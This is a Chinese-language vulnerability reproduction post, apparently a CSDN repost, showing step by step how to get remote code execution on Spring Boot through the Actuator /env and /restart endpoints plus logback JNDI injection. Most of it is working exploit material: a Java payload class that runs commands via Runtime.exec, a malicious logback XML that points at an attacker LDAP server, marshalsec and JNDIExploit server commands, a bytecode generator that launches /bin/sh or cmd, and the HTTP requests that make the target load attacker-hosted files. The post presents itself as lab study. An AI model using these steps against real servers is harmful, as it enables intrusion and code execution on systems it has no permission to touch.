Spring Boot restart logging.config logback JNDI RCE漏洞复现

声明:本文仅供学习参考,其中涉及的一切资源均来源于网络,请勿用于任何非法行为,否则您将自行承担相应后果,本人不承担任何法律及连带责任。

搭建环境

漏洞环境:https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-restart-rce

IDEA加载源码,并配置一个Spring boot,就可以运行环境了

在这里插入图片描述

利用条件

可以 POST 请求目标网站的 /env 接口设置属性
可以 POST 请求目标网站的 /restart 接口重启应用
普通 JNDI 注入受目标 JDK 版本影响,jdk < 6u201/7u191/8u182/11.0.1(LDAP),但相关环境可绕过
⚠️ 目标可以请求攻击者的 HTTP 服务器(请求可出外网),否则 restart 会导致程序异常退出
⚠️ HTTP 服务器如果返回含有畸形 xml 语法内容的文件,会导致程序异常退出
⚠️ JNDI 服务返回的 object 需要实现 javax.naming.spi.ObjectFactory 接口,否则会导致程序异常退出

漏洞原理

1、目标机器通过 logging.config 属性设置 logback 日志配置文件 URL 地址
2、restart 重启应用后,程序会请求 URL 地址获得恶意 xml 文件内容
3、目标机器使用 saxParser.parse 解析 xml 文件 (这里导致了 xxe 漏洞)
4、xml 文件中利用 logback 依赖的 insertFormJNDI 标签,设置了外部 JNDI 服务器地址
5、目标机器请求恶意 JNDI 服务器,导致 JNDI 注入,造成 RCE 漏洞

利用方法一:marshalsec

1、准备要执行的java代码

编写用来验证漏洞存在的java代码(CommandRaw.java)

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import javax.naming.Context;
import javax.naming.Name;
import java.io.File;
import java.io.IOException;
import java.util.Hashtable;

public class CommandRaw extends AbstractTranslet implements javax.naming.spi.ObjectFactory{
    
    
    private static String cmd = "calc.exe";

    public CommandRaw() {
    
    
        String[] var1;
            var1 = new String[]{
    
    "cmd", "/C", cmd};
        try {
    
    
            Runtime.getRuntime().exec(var1);
        } catch (IOException var3) {
    
    
            var3.printStackTrace();
        }

    }

    public void transform(DOM var1, SerializationHandler[] var2) throws TransletException {
    
    
    }

    public void transform(DOM var1, DTMAxisIterator var2, SerializationHandler var3) throws TransletException {
    
    
    }

    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable environment) throws Exception {
    
    
        return new Object();
    }
}

编译CommandRaw.java

javac CommandRaw.java

然后将生成的CommandRaw.class 文件拷贝到攻击者VPS上。

2、托管xml文件

编写example.xml文件,放在VPS上和CommandRaw.class 文件同一目录下

<configuration>
  <insertFromJNDI env-entry-name="ldap://192.168.10.171:1389/TomcatBypass/Command/Base64/Y2FsYy5leGU=" as="appName" />
</configuration>

在example.xml目录下,使用python开启一个简单的http服务

python3 -m http.server 8080

3、架设恶意 ldap 服务

下载 marshalsec ,使用下面命令架设对应的 ldap 服务:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip:8080/#CommandRaw 1389

4、设置logging.config属性

POST /actuator/env
Content-Type: application/json

{
    
    "name":"logging.config","value":"http://your-vps-ip/example.xml"}

在这里插入图片描述

5、重启应用

POST /actuator/restart
Content-Type: application/json

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

利用方法二: JNDIExploit

1、下载JNDIExploit:https://github.com/Jeromeyoung/JNDIExploit-1

但为了让程序不抛错退出,需要针对性的修改用到的代码,比如修改 JNDIExploit/src/main/java/com/feihong/ldap/template/CommandTemplate.java 文件,让其返回的 class 字节码继承 javax.naming.spi.ObjectFactory 接口

比如用下面的代码替换原来 CommandTemplate.java 文件中的 generate 方法:

public void generate(){
    
    
		ClassWriter cw = new ClassWriter(0);
		FieldVisitor fv;
		MethodVisitor mv;
		AnnotationVisitor av0;

		cw.visit(V1_6, ACC_PUBLIC + ACC_SUPER, className, null, "com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet", new String[]{
    
    "javax/naming/spi/ObjectFactory"});

		{
    
    
			fv = cw.visitField(ACC_PRIVATE + ACC_STATIC, "cmd", "Ljava/lang/String;", null, null);
			fv.visitEnd();
		}
		{
    
    
			mv = cw.visitMethod(ACC_PUBLIC, "<init>", "()V", null, null);
			mv.visitCode();
			Label l0 = new Label();
			Label l1 = new Label();
			Label l2 = new Label();
			mv.visitTryCatchBlock(l0, l1, l2, "java/io/IOException");
			Label l3 = new Label();
			mv.visitLabel(l3);
			mv.visitLineNumber(19, l3);
			mv.visitVarInsn(ALOAD, 0);
			mv.visitMethodInsn(INVOKESPECIAL, "com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet", "<init>", "()V", false);
			Label l4 = new Label();
			mv.visitLabel(l4);
			mv.visitLineNumber(21, l4);
			mv.visitFieldInsn(GETSTATIC, "java/io/File", "separator", "Ljava/lang/String;");
			mv.visitLdcInsn("/");
			mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/String", "equals", "(Ljava/lang/Object;)Z", false);
			Label l5 = new Label();
			mv.visitJumpInsn(IFEQ, l5);
			Label l6 = new Label();
			mv.visitLabel(l6);
			mv.visitLineNumber(22, l6);
			mv.visitInsn(ICONST_3);
			mv.visitTypeInsn(ANEWARRAY, "java/lang/String");
			mv.visitInsn(DUP);
			mv.visitInsn(ICONST_0);
			mv.visitLdcInsn("/bin/sh");
			mv.visitInsn(AASTORE);
			mv.visitInsn(DUP);
			mv.visitInsn(ICONST_1);
			mv.visitLdcInsn("-c");
			mv.visitInsn(AASTORE);
			mv.visitInsn(DUP);
			mv.visitInsn(ICONST_2);
			mv.visitFieldInsn(GETSTATIC, className, "cmd", "Ljava/lang/String;");
			mv.visitInsn(AASTORE);
			mv.visitVarInsn(ASTORE, 1);
			Label l7 = new Label();
			mv.visitLabel(l7);
			mv.visitJumpInsn(GOTO, l0);
			mv.visitLabel(l5);
			mv.visitLineNumber(24, l5);
			mv.visitFrame(F_FULL, 1, new Object[]{
    
    className}, 0, new Object[]{
    
    });
			mv.visitInsn(ICONST_3);
			mv.visitTypeInsn(ANEWARRAY, "java/lang/String");
			mv.visitInsn(DUP);
			mv.visitInsn(ICONST_0);
			mv.visitLdcInsn("cmd");
			mv.visitInsn(AASTORE);
			mv.visitInsn(DUP);
			mv.visitInsn(ICONST_1);
			mv.visitLdcInsn("/C");
			mv.visitInsn(AASTORE);
			mv.visitInsn(DUP);
			mv.visitInsn(ICONST_2);
			mv.visitFieldInsn(GETSTATIC, className, "cmd", "Ljava/lang/String;");
			mv.visitInsn(AASTORE);
			mv.visitVarInsn(ASTORE, 1);
			mv.visitLabel(l0);
			mv.visitLineNumber(28, l0);
			mv.visitFrame(F_APPEND, 1, new Object[]{
    
    "[Ljava/lang/String;"}, 0, null);
			mv.visitMethodInsn(INVOKESTATIC, "java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;", false);
			mv.visitVarInsn(ALOAD, 1);
			mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Runtime", "exec", "([Ljava/lang/String;)Ljava/lang/Process;", false);
			mv.visitInsn(POP);
			mv.visitLabel(l1);
			mv.visitLineNumber(31, l1);
			Label l8 = new Label();
			mv.visitJumpInsn(GOTO, l8);
			mv.visitLabel(l2);
			mv.visitLineNumber(29, l2);
			mv.visitFrame(F_SAME1, 0, null, 1, new Object[]{
    
    "java/io/IOException"});
			mv.visitVarInsn(ASTORE, 2);
			Label l9 = new Label();
			mv.visitLabel(l9);
			mv.visitLineNumber(30, l9);
			mv.visitVarInsn(ALOAD, 2);
			mv.visitMethodInsn(INVOKEVIRTUAL, "java/io/IOException", "printStackTrace", "()V", false);
			mv.visitLabel(l8);
			mv.visitLineNumber(33, l8);
			mv.visitFrame(F_SAME, 0, null, 0, null);
			mv.visitInsn(RETURN);
			Label l10 = new Label();
			mv.visitLabel(l10);
			mv.visitLocalVariable("var1", "[Ljava/lang/String;", null, l7, l5, 1);
			mv.visitLocalVariable("var3", "Ljava/io/IOException;", null, l9, l8, 2);
			mv.visitLocalVariable("this", "L" + className + ";", null, l3, l10, 0);
			mv.visitLocalVariable("var1", "[Ljava/lang/String;", null, l0, l10, 1);
			mv.visitMaxs(4, 3);
			mv.visitEnd();
		}
		{
    
    
			mv = cw.visitMethod(ACC_PUBLIC, "transform", "(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;[Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V", null, new String[]{
    
    "com/sun/org/apache/xalan/internal/xsltc/TransletException"});
			mv.visitCode();
			Label l0 = new Label();
			mv.visitLabel(l0);
			mv.visitLineNumber(36, l0);
			mv.visitInsn(RETURN);
			Label l1 = new Label();
			mv.visitLabel(l1);
			mv.visitLocalVariable("this", "L" + className + ";", null, l0, l1, 0);
			mv.visitLocalVariable("var1", "Lcom/sun/org/apache/xalan/internal/xsltc/DOM;", null, l0, l1, 1);
			mv.visitLocalVariable("var2", "[Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;", null, l0, l1, 2);
			mv.visitMaxs(0, 3);
			mv.visitEnd();
		}
		{
    
    
			mv = cw.visitMethod(ACC_PUBLIC, "transform", "(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;Lcom/sun/org/apache/xml/internal/dtm/DTMAxisIterator;Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V", null, new String[]{
    
    "com/sun/org/apache/xalan/internal/xsltc/TransletException"});
			mv.visitCode();
			Label l0 = new Label();
			mv.visitLabel(l0);
			mv.visitLineNumber(39, l0);
			mv.visitInsn(RETURN);
			Label l1 = new Label();
			mv.visitLabel(l1);
			mv.visitLocalVariable("this", "L" + className + ";", null, l0, l1, 0);
			mv.visitLocalVariable("var1", "Lcom/sun/org/apache/xalan/internal/xsltc/DOM;", null, l0, l1, 1);
			mv.visitLocalVariable("var2", "Lcom/sun/org/apache/xml/internal/dtm/DTMAxisIterator;", null, l0, l1, 2);
			mv.visitLocalVariable("var3", "Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;", null, l0, l1, 3);
			mv.visitMaxs(0, 4);
			mv.visitEnd();
		}
		{
    
    
			mv = cw.visitMethod(ACC_PUBLIC, "getObjectInstance", "(Ljava/lang/Object;Ljavax/naming/Name;Ljavax/naming/Context;Ljava/util/Hashtable;)Ljava/lang/Object;", "(Ljava/lang/Object;Ljavax/naming/Name;Ljavax/naming/Context;Ljava/util/Hashtable<**>;)Ljava/lang/Object;", new String[]{
    
    "java/lang/Exception"});
			mv.visitCode();
			Label l0 = new Label();
			mv.visitLabel(l0);
			mv.visitLineNumber(43, l0);
			mv.visitTypeInsn(NEW, "java/lang/Object");
			mv.visitInsn(DUP);
			mv.visitMethodInsn(INVOKESPECIAL, "java/lang/Object", "<init>", "()V", false);
			mv.visitInsn(ARETURN);
			Label l1 = new Label();
			mv.visitLabel(l1);
			mv.visitLocalVariable("this", "L" + className + ";", null, l0, l1, 0);
			mv.visitLocalVariable("obj", "Ljava/lang/Object;", null, l0, l1, 1);
			mv.visitLocalVariable("name", "Ljavax/naming/Name;", null, l0, l1, 2);
			mv.visitLocalVariable("nameCtx", "Ljavax/naming/Context;", null, l0, l1, 3);
			mv.visitLocalVariable("environment", "Ljava/util/Hashtable;", "Ljava/util/Hashtable<**>;", l0, l1, 4);
			mv.visitMaxs(2, 5);
			mv.visitEnd();
		}
		{
    
    
			mv = cw.visitMethod(ACC_STATIC, "<clinit>", "()V", null, null);
			mv.visitCode();
			Label l0 = new Label();
			mv.visitLabel(l0);
			mv.visitLineNumber(17, l0);
			mv.visitLdcInsn(cmd);
			mv.visitFieldInsn(PUTSTATIC, className, "cmd", "Ljava/lang/String;");
			mv.visitInsn(RETURN);
			mv.visitMaxs(1, 0);
			mv.visitEnd();
		}
		cw.visitEnd();

		bytes = cw.toByteArray();

	}

编译好程序后(编译命令):

mvn clean package -DskipTests

就可以用命令开启 ldap 服务:

java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 192.168.10.171

在这里插入图片描述
2、托管xml文件

这一步,和利用方法一托管xml文件一致,不在赘述

3、设置 logging.config 属性

POST /actuator/env
Content-Type: application/json

{
    
    "name":"logging.config","value":"http://your-vps-ip/example.xml"}

4、重启应用

POST /actuator/restart
Content-Type: application/json

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/guo15890025019/article/details/129504572